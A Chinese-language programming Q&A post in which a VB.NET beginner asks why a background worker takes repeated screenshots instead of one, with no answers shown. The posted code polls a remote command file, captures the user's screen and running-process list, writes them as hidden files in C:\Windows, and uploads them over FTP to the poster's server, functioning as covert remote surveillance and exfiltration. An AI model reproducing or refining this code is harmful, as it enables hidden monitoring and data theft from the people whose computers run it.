1

我是 VB.NET 的新手,我正在制作一个需要远程程序控制的项目,例如:用户在他的计算机上启动程序,当我在我的计算机上单击按钮时,用户计算机上的程序将做一些工作,例如制作屏幕截图。我尝试使用 backgroundworker 和线程来执行此操作,但程序开始执行多个屏幕截图而不是一个。我可以将循环放在线程中,但是我将无法停止它,当然在运行程序的整个过程中都需要这种控制。

Private Sub MakeScreen_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles MakeScreen.DoWork
        Dim screen1 As String
        Dim prcs As String

        Do Until screen1 = "1" Or prcs = "1"
            Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create("http://mysite/cmd/cmd.txt")
            Dim response As System.Net.HttpWebResponse = request.GetResponse

            Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())

            screen1 = sr.ReadLine
            prcs = sr.ReadLine

        Loop

        '''''Screenshot section '''''

        If screen1 = "1" Then

            Try
                'Do While ssCount < 1
                Dim bounds As Rectangle
                Dim screenshot As System.Drawing.Bitmap
                Dim graph As Graphics
                bounds = Screen.PrimaryScreen.Bounds
                screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
                graph = Graphics.FromImage(screenshot)
                graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
                PictureBox1.Image = screenshot
                PictureBox1.Image.Save("C:\Windows\" + "reqss-" + reqss.ToString + ".png", System.Drawing.Imaging.ImageFormat.Png) 'Сохраняем
                File.SetAttributes("C:\Windows\" + "reqss-" + reqss.ToString + ".png", attribute) ' Делаем скрытым

                Try
                'My.Computer.Network.UploadFile("C:\Windows\" & "reqss-" & reqss & ".png", "ftp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png", "username", "pass")

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("frp://mysite/" & ThisHWID & "/" & "ss" & reqss.ToString + "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".png"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential("username", "pass")
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

                Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\" & "reqss-" & reqss & ".png")

                Dim strz As System.IO.Stream = request.GetRequestStream()
                strz.Write(file, 0, file.Length)
                strz.Close()
                strz.Dispose()


                Catch ex As Exception
                    MsgBox(ex.Message)
                End Try

                reqss = reqss + 1
            MakeScreen.Dispose()
            MakeScreen.RunWorkerAsync()
                'Loop
            Catch ex As Exception
                'Nothing
            End Try
        End If

        ''''' End of section '''''

        ''''' Processes section '''''
    If prcs = "1" Then
        'Получаем процессы
        reqprcs.Clear()
        Dim pProcess() As Process = System.Diagnostics.Process.GetProcesses
        For Each p As Process In pProcess
            Try
                'ProcessList.Items.Add(p.ProcessName)
                'ListBox1.Items.Add(p.MainModule.FileName)
                reqprcs.Add(p.MainModule.FileName)
            Catch ex As Exception

            End Try
        Next
        'Записываем процессы в файл
        Try

            Dim W2 As New StreamWriter("C:\Windows\rqprcs-" & reqprcscount & ".txt")
            For i = 0 To reqprcs.Count - 1
                W2.WriteLine(reqprcs.Item(i))
            Next
            W2.Close()
            'File.SetAttributes("C:\Windows\0beforegame.txt", FileAttributes.ReadOnly) ' Делаем read only
            File.SetAttributes("C:\Windows\rqprcs-" & reqprcscount & ".txt", FileAttributes.Hidden) ' Делаем скрытым
            Try
                'My.Computer.Network.UploadFile("C:\Windows\rqprcs-" & reqprcscount & ".txt", "ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt", "user", "pass")

                Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://mysite/" & ThisHWID & "/rqprcs-" & reqprcscount & "-" & lblMatch.Text & "-" & TimeOfDay.TimeOfDay.ToString & ".txt"), System.Net.FtpWebRequest)
                request.Credentials = New System.Net.NetworkCredential("user", "pass")
                request.Method = System.Net.WebRequestMethods.Ftp.UploadFile

                Dim file() As Byte = System.IO.File.ReadAllBytes("C:\Windows\rqprcs-" & reqprcscount & ".txt")

                Dim strz As System.IO.Stream = request.GetRequestStream()
                strz.Write(file, 0, file.Length)
                strz.Close()
                strz.Dispose()

                reqprcscount = reqprcscount + 1

                MakeScreen.Dispose()
                MakeScreen.RunWorkerAsync()
            Catch ex As Exception
                MsgBox(ex.Message)
            End Try

        Catch ex As Exception

        End Try
    End If
    ''''' End of section '''''

End Sub
4

0 回答 0